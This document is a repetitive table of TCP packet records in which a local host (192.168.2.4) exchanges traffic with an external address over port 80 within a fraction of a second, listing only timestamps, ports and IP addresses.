Nov 1, 2024 03:45:33.651376009 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.651407957 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.651407957 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.651479959 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.651492119 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.651500940 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.651525021 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.651544094 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652040005 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652050018 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652059078 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652093887 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652106047 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652131081 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652143002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652152061 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652178049 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652200937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652206898 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652261972 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652273893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652280092 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652306080 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652317047 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652339935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652350903 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652364969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652376890 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652389050 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652415037 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652472973 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652483940 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652494907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652513981 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652534008 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652544022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652565002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652590990 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652616024 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652646065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652657032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652666092 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652686119 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652697086 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652756929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652767897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652777910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652806044 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652828932 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652848959 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652862072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652870893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652888060 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652894020 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652916908 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.652937889 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.652940035 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653038979 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653053999 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653065920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653075933 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653089046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653088093 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653119087 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653141975 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653211117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653220892 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653229952 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653239965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653249979 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653251886 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653261900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653266907 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653295040 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653305054 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653423071 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653434038 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653443098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653458118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653465986 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653470993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653485060 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653506994 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653542042 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653553009 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653569937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653579950 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653587103 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653590918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653605938 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653630018 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653789043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653800011 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653810024 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653820992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653832912 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653834105 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653842926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653858900 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653888941 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653917074 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653928041 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653939009 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.653956890 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.653968096 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.692647934 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.692671061 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.692683935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.692787886 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.694602013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.694642067 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.694653988 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.694724083 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.694730043 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.694736004 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.694835901 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.735397100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.735415936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.735456944 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.735495090 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.767668009 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.767704964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.767716885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.767733097 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.767771006 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.767785072 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.767812014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.767823935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.767826080 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.767843962 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.767899036 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.767910957 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.767930984 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.767956972 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.767966986 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.767987013 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.768033028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768045902 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768055916 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768063068 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.768066883 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768090963 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.768163919 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768176079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768188953 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768196106 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.768220901 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.768275023 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.768393040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768412113 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768451929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768481016 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.768532991 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768544912 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768556118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768596888 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.768596888 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.768629074 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768640995 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768650055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768698931 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.768698931 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.768727064 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768738031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768748999 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.768774986 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.768922091 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769270897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769316912 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769329071 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769332886 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769367933 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769396067 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769407988 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769432068 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769469976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769481897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769500017 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769500017 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769540071 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769567013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769578934 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769589901 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769620895 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769620895 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769668102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769675970 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769680023 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769690037 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769716024 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769742966 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769769907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769782066 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769792080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769809008 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769818068 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769834995 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769855976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769906998 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.769923925 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769941092 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769951105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.769975901 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770030975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770042896 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770054102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770061970 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770066023 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770077944 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770085096 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770095110 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770148039 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770159960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770175934 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770194054 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770225048 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770235062 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770245075 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770246029 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770256996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770272970 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770272970 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770307064 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770307064 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770395041 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770406961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770421982 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770432949 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770443916 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770452023 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770454884 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770483017 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770541906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770554066 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770565033 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770570993 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770576000 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770598888 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770618916 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770620108 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770708084 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770719051 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770729065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770744085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770755053 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770766973 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770776033 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770776033 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770780087 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770792007 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770793915 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770821095 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770843029 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.770946026 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770958900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.770968914 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.771048069 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.771059990 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.771070004 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.771075964 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.771095991 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.771167040 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.771194935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.771208048 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.771219015 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.771230936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.771243095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.771254063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.771254063 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.771267891 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.771292925 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.771358013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.771405935 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.771405935 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.809847116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.809865952 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.809875965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.809896946 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.809973955 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.811883926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.811947107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.811959982 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.811970949 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.812002897 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.812002897 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.812009096 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.812020063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.812381983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.886496067 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.886564016 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.886595964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.886607885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.886620045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.886631012 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.886641979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.886652946 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.886652946 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.886652946 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.886662960 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.886682034 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.886733055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.886744976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.886755943 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.886766911 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.886766911 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.886778116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.886795044 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.886842012 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.887020111 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887037039 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887048960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887059927 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887064934 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.887072086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887092113 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.887123108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887135029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887150049 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887152910 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.887161970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887173891 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887176991 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.887197971 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.887244940 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.887271881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887284994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887296915 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887320042 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887331963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887336969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887342930 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887347937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887348890 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.887358904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887370110 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887381077 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.887389898 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.887389898 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.887434006 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.887434006 CET	49756	80	192.168.2.4	185.215.113.206
